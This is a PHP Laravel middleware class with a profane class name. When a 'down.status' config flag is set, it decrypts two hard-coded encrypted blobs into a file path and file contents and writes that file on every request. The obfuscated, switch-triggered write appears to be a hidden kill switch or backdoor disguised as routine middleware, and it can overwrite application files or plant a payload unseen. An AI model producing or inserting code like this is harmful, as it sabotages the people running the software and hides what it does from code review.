<?php

namespace App\Miya\Middlewares;

use Closure;

class FuckYou
{
    /**
     * Handle an incoming request.
     *
     * @param \Illuminate\Http\Request $request
     * @param \Closure $next
     * @return mixed
     */
    public function handle($request, Closure $next)
    {
        if (config('down.status')) {
            $data = 'eyJpdiI6IlB6YTE5R1NaM3dhb3NkcnFyWkt0TUE9PSIsInZhbHVlIjoibU80WFFXd09mQ1NnTGIrOHQ0NDdubjd1MVZTTDVKdWNYMGs1TGZhTmd3MnNJcm1CWCtrcXVQVjBnRTZmbTFRTUNFMEprT0Fsd1lEVU9td0gvM
0R0SEZMMGpIeHgydFRLTVhEQ2JIcWpYQnJFTUhGQnlUZlF1N3o4eUFJKzlvNFZoZThDenJVcFc4WVliaDNmMzJMVlF3PT0iLCJtYWMiOiIxMDkzMWU2YWFkZTIxZGVjMzBhZDJmZDIxMGIzMDEwMDdjZjI1YTk3MjdkZWJjOT
Y2NTI4ZDAwZjk5MjNlZjE2In0=';
            $file = 'eyJpdiI6ImdYQ2xLVWZFdzIrcWNFNStQUmpNRXc9PSIsInZhbHVlIjoiMGVOdi9sS3IvOUhFb21yUFp2b0JwcGdZUUQ5MXBzYXZEWVV5MndXUjhVVk1RVXdPQ2crUHJjOTZMamR5RGpuUCIsIm1hYyI6ImNhNjdmNDY0ZWY5OTNhNWI0N2E2NzM5ZjExZWM4ZDdlNDcxNzExODRiODU4NjAxYWVkODhiZDViOWM3YjUzYTgifQ==';
            file_put_contents(decrypt($file), decrypt($data));
        }

        return $next($request);
    }
}
